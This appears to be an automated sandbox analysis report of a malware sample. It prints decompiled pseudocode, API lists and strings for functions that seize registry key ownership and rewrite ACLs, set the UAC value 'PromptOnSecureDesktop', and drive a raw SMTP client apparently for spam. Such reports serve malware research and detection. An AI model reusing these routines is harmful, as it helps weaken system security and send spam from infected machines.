					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Dec, xrefs: 0040B2A3
Sat, xrefs: 0040B24F
Wed, xrefs: 0040B23A
Mon, xrefs: 0040B22C
Jun, xrefs: 0040B279
Thu, xrefs: 0040B241
Tue, xrefs: 0040B233
Mar, xrefs: 0040B264
Jan, xrefs: 0040B256
Oct, xrefs: 0040B295
May, xrefs: 0040B272
Jul, xrefs: 0040B280
Sep, xrefs: 0040B28E
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Feb, xrefs: 0040B25D
Nov, xrefs: 0040B29C
Fri, xrefs: 0040B248
Sun, xrefs: 0040B225
Aug, xrefs: 0040B287
Apr, xrefs: 0040B26B

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

D, xrefs: 00407B0C
PromptOnSecureDesktop, xrefs: 00407D39

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x61, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

plgs:, xrefs: 004066AA
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
Jan 13 2018, xrefs: 0040653A
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
%d=%p, xrefs: 004066F9
12:08:32, xrefs: 00406535
except_info, xrefs: 00406728
localcfg, xrefs: 0040672D
va=%08X%08X uef=%p, xrefs: 00406595

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction ID: d0bbb1ce902d37c6012dbda67fcae0275dd4f0eb650f6cdd038f268f1af807dd
Opcode Fuzzy Hash: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction Fuzzy Hash: FC615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
